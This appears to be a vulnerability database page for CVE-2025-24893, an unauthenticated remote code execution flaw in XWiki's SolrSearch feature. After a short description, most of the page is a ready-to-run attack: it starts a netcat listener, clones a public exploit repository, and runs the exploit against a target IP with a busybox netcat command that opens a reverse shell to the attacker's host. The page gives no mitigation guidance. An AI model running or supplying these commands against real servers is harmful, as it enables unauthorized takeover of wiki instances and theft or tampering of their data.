Skip to content
HackIndex logo

HackIndex

CVE-2025-24893:
XWiki RCE

Published: Feb 21, 2026
Critical
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

CVE-2025-24893 is an unauthenticated remote code execution bug in XWiki: a guest can send a crafted request to the SolrSearch feature that gets evaluated on the server, letting the attacker run arbitrary code. That can lead to full compromise of the XWiki instance (and potentially the host), including data theft, tampering, or taking the service down.

RCE XWiki

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

gunzf0x/CVE-2025-24893
Remote Code Execution exploit
View repository (opens in new tab)

Start a reverse shell

┌──(kali㉿kali)-[~]
└─$ nc -nlvp $LPORT

Run the exploit

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/gunzf0x/CVE-2025-24893.git
┌──(kali㉿kali)-[~]
└─$ cd gunzf0x/CVE-2025-24893
 
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2025-24893.py -t http://$TARGET_IP -c 'busybox nc $LHOST $LPORT -e /bin/bash'